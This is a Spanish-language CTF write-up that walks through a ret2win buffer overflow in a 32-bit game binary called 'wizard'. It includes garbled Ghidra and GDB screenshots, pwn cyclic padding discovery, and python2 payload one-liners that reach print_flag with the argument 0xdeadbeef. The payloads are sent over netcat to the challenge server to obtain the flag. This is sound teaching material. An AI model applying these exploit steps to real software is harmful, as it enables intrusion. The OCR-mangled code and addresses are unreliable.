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Wizard

En este reto aprenderemos a detectar una vulnerabilidad que nos permitira hacer un
ret2win con argumentos, accediendo a una funcion a la que no deberiamos haber
podido acceder.

Analisis estatico

rojorge@
file wizard
wizard: ELF 32-bit LSB executable, Intel 8@386, version 1 (SYsSV), dynamically linked, interpreter /lib/1
d-linux.so.2, for GNU/Linux 3.2.@, BuildID[shal]=c983T@7ba93f3e75d354d8c1b22e@3e722379daf, not stripped
rojorge@
pwn checksec --file wizard

[*] '/home/rojorge/Sugqus/ctfsugus/writeups/wizard/src/wizard'
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:

Como podemos ver, nos encontramos ante un ELF de 32 bits y arquitectura Little
Endian, el cual no tiene ni canario ni PIE, por lo que podemos sobreescribir el stack y
ademas conocemos las direcciones de memoria de las funciones pues no cambian entre
gjecuciones.

Si abrimos y analizamos el binario con Ghidra vemos que tiene muchas funciones, entre
ellas una llamada print_flag(), que es donde queremos llegar. La que nos atafie se trata
de lanzar_especial(), funcion que se llama cuando el usuario selecciona la accién 3 en el
menu. Veamos que hace esta funcion:
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4 |void lanzar_especial({int param_1,int *param_2)

5

B{

7| int iVari:

8| char local_2e [24]; é

; )

16| puts{"Conoces los siguientes hechizos...");

11| puts({"\tLaceratio");

12| puts{"\tComburo");

13| printf("Introduce el hechizo a lanzar: ");

14| _ isoc99_scanf(&DAT_@804a264, local_20) ; " cm—m

15| iVarl = strcmp{local 2@, "Laceratic");

16| if (ivarl == B) { — 3

17 if (*{int *)(param_1l + 4) < @xle) {

18 puts(&DAT_B804al7c);

19 }

20 else {

21 *param_2 = *param_2 + -@x32;

22 *{int *)({param_1 + 4) = *{int *)(param_1 + 4) + -Bxle;
23 puts("Agitas tu warita y diriges la onda contra el enemigo, le quitas 5@ de vida.");
24 3

25 }

26| else {

27 iVarl = strcmp(local 2@, "Comburo"); 3

28 if (ivarl == ) { -

29 if (*(int *){param_1 + 4) < @xle) {

38 puts{&DAT_@8@4alic);

31 }

32 else {

33 *param_2 = *param_2 + -Bx32;

34 *(int *){param_1 + 4) = *(int *){param_1 + 4) + -@x32;
35 puts{"Tu enemigo se prende en llamas, pero has quedado muy cansado.");
36 +

37 }

38 else {

39 puts("Agitas tu warita peroc no ocurre nada, te has debido confundir al invocar el hechizo.");
40 }

a1 }

42 | return:

43 [}

Como vemos [1] se pide al usuario la entrada del "hechizo" y [2] se guarda en la
variable local_20 para luego [3] compararse con alguno de los dos hechizos que
conoce.

La vulnerabilidad se encuentra en que a diferencia de en el menu de accion, donde
eliges un numero entre el 1 al 5 para ver que haces, aqui se te pide introducir el hechizo
como una cadena de texto que después se compara. Ademas, al usar scanf y guardarlo
en un buffer con un tamano definido, se puede hacer el overflow.

Lo que queremos conseguir es modificar la direccion de retorno para, en el momento
de hacer el return en esta funcion, "volver" a print_flag() en vez de a la funcion que
llamo a esta, lo que se conoce como un ret2win. Ademas, si abrimos la funcion
print_flag() podemos ver que requiere un argumento para imprimir la flag:
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i Listing: wizard il | I'%_ Bl @ | =% Decompile: print_flag - (wizard)

Bk ek ek R bk Rk R : 1 . ) )
N FUNCTTON . 2|/* WARNING: Function: _ x86.get_pc_thunk.bx replaced with
e ek R R R 3
undefined print_flag(undefined4 param_1) 4lvoid print_flag(int param 1)
undefined AL:1 <RETURN=> -
undefined4 Stack[@x4]:4 param_1 XREF[1]: 0804 2 { char Tocal 33 [35]:
undefined4 Stack[-@x8]:4 local_8 XREF[1]: 0804 | FILE *lu(ai 10 .
undefined4 Stack[-@x1@] :4 local_1@ XREF[4]: 0804 - | -
:::i 18| if Iearam 1 == -(x21524111 ( L
2804 13 lcca T =- open ag‘.~ %", "1");
undefined1 Stack[-0x33] :1 local_33 XREF[2]: 3894) 12 A (local 10 == (FILE 1)ox0) {
asaq ’ ii , puts({"Error al abrir el fichero flag.txt.");
print_flag XREF[3]: ;;;igszgtf;( /4 15 fggts(lccal_ss,ﬁxzs,lccal_‘_c);
—+| 28049443 55 BUSH P 16 pnntf["%s",l?caljﬂ;
08040444 89 o5 Wov £BP,ESP 17l felose(local 10);
08049446 53 PUSH EBX 16y
- 19 else {
08049447 83 ec 34 suB ESP, @x34
08049443 ed d1 fc CALL __x86.get_pc_thunk.bx = puts (&DAT_0804a178)
£ fF @
|| esedoaaf 81 c3 b1 ADD £Bx, Bx2bb1 ;i} return;
2b oo ee 4 =
08049455 81 7d @8 CMP dword ptr [EBP + param_1],@xdeadbeef
ef be ad de
08@4945c 74 14 1z LAB_@80849472
08@4945e 83 ec @c suB ESP,@xc
23049461 8d 83 fa LEA Edx, [EBX + oxffffelfs]=-DAT_s8e4alfs
el ff ff
08049467 50 PUSH Efx=>DAT_pB04alfs
03649468 ed 13 fc CALL <EXTERNAL=: :puts
f ff
0304946d 83 c4 10 ADD ESP, @x1@
08049478 eb 6c JMp LAB_@88494de

Analisis dinamico y exploit local

Ya sabemos que atacar, veamos cémo hacerlo. Primero vamos a obtener la cantidad de
caracteres que se necesitan introducir para poder modificar la direccién de retorno.
Para esto utilizaremos el plugin de GDB llamado GEF (https://github.com/hugsy/gef)

aunque existen otras herramientas que hacen lo mismo. Para generar el padding
usaremos la libreria de python pwntools:

$ pwn cyclic 200 &
2aaabaaacaaadaaaeaaaftaaagaaahaaaiaaajaaakaaalaaamaaanaaaocoaaapaaagaaaraaasaa

4 G >

Que como veis, genera un patron que nos permitira indentificar el padding.

Ahora ejecutaremos con gef el binario e introduciremos esa cadena al momento de
introducir el hechizo (accion 3), el programa deberia pararse al producirse la violacion
de segmento (core)
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| string ]

: @x61616167 ("gaaa"?)
: Bxf7e218a@ - ©x00000000
: Ox0

akaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaaval...]"

: Bx61616168 ("haaa"?

: @xf7ffcb6@ - ©Ox00000000

: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
© @x23 : @x2b : @x2b : @x2b : 0x00 : @x63

o|+exee00: "j
+@x0004: "
+@x0008: "
+@x000c: "m
+@x0010: "
+@x0014: "o dddUaaavaaawaaaXaaa
+@x0018: " aaasaaataaauaaavaaawaaaxa aZad
+@x001c: "

disassemble from $PC
Cannot access memory at address @x61616169

Name: "wizard", in ?? (), reason:

Como vemos, nos indica que la direccién a la que ha intentado acceder es 0x61616169,
que se corresponde con los valores ascii iaaa. Para obtener el padding usamos el
siguiente comando:

$ pwn cyclic -1 iaaa d;
32

Ademas, al no tener PIE, como vimos en el analisis estatico, podemos conocer con
facilidad la direccién de la funcién. Podemos hacerlo con muchas herraminetas (ghidra,
radare2, ida...) pero usaremos GDB. Para ello abrimos el binario e introducimos la linea
'info functions', donde veremos la siguiente linea entre todas las demas '0x08049443
print_flag'. Con esto ya podemos hacer la primera versién del payload que nos permita
acceder a la funcion. Usaremos python2 por su sencillez, aqui va la linea:

$ python2 -c 'print "3\n"+"a"*32+"\x43\x94\x04\x08""' > payload d;

Primero enviamos el 3 para seleccionar la opcion donde esta la vulnerabilidad, luego
mandamos 32 caracteres para llegar a la direccién de retorno que queremos, y
posteriormente introducimos en little endian y como bytes la direccién de la cadena a
la que queremos acceder. Dado que esos bytes se pueden mostrar como ningun
caracter ascii, darian problemas si los mostramos y luego copiamos y pegamos, asi que
directamente los enviamos a un fichero.
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rojorge@
python2 -c 'print "3\n"+"a"*32+"\x43\x94\x04\x08""' > payload
rojorge@
nc vps-d9656cc8.vps.ovh.net 31337 < payload
3/ JanaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaCDAHA)

e e e e e e e e o o e e e e e

Stats actuales:
Salud: 100
Mana: 5@

iQue vas a hacer, joven mago?
. Lanzar hechizo de ataque.
. Lanzar hechizo de defensa.
. Lanzar hechizo especial.
. Recargar mani.
. Huir.
> Conoces los siguientes hechizos...
Laceratio
Comburo
Introduce el hechizo a lanzar: Agitas tu varita pero no ocurre nada, te has debido confundir al invocar el hechizo.

Vaya, no deberias haber llegado hasta aqui, casi lo tienes.

Como vemos, hemos llegado a la funcién, pero nos falta meter el argumento para que
podamos imprimir la flag. Para afladirlo debemos incluir lo que seria la siguiente
direccion de retorno, que en este caso nos da igual, y posteriormente lo que queremos
enviar en little endian, que como vimos en la caputura de ghidra de la funcion, se trata
de Oxdeadbeef en int, por lo que tendremos que tratarlo igual que en la funcién:

$ python2 -c 'print "3\n"+"a"*32+"\x43\x94\x04\x08"+"AAAA"+"\xef\xbe\xad\xd Ll.:l

rojorge@

python2 -c 'print "3\n"+"a"*32+"\x43\x94\x04\x08" +"AAAA" +"\xef\xbe\xad\xde"' > ../solve/payload
rojorge@

./wizard < ../solve/payload

hhkhhhhdhhdhdhhdd

Stats actuales:
Salud: 100
Mana: 5@

iQue vas a hacer, joven mago?
. Lanzar hechizo de ataque.
. Lanzar hechizo de defensa.

. Lanzar hechizo especial.
. Recargar mana.
. Huir.
> Conoces los siguientes hechizos...
Laceratio
Comburo
Introduce el hechizo a lanzar: Agitas tu varita pero no ocurre nada, te has debido confundir al invocar el hechizo.

V1iolaclion de segmento

iLo tenemos! Si quisiesemos que no diese un core podriamos cambiar los AAAA del
payload por la direccion correcta, pero nos da igual. También podemos crear un fichero
flag.txt para que se abra pero como prueba de concepto, esto sobra. Ahora toca
obtener la flag.
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Obtencion de la flag

Ahora debemos enviar el payload al servidor en vez de al proceso de nuestra maquina,
lo haremos con la herramienta netcat:

python2 -c 'print "3\n"+"a"*32+"\x43\x94\x04\x@8"+"AAAA"+"\xeT\xbe\xad\xde""' > JH
rojorge@
nc 51.77.214.16@ 31337 < ../solve/payload
3"JanaaanaaaaaaaaaaaaaanaaaaaaaaaaaC DAHAAAADNJ

zzards and Spells *

hhwhhhhhrhhhhhdi

[Stats actuales:
Salud: 100
Mana: 5@

;Que vas a hacer, joven mago?
. Lanzar hechizo de ataque.
. Lanzar hechizo de defensa.

. Lanzar hechizo especial.
. Recargar mana.
. Huir.
> Conoces los siguientes hechizos...
Laceratio
Comburo
: Agitas tu varita pero no ocurre nada, te has debido confundir al invocar el hechizo.

SUGUS{4bT4_c4d4br4_p4t4_d3_c4br4}

PWNED! SUGUS{4br4_c4d4brd_p4t4_d3_c4br4}

Muchas gracias por leer el writeup, cualquier duda puedes contactarme al telegram:
@Rojorge
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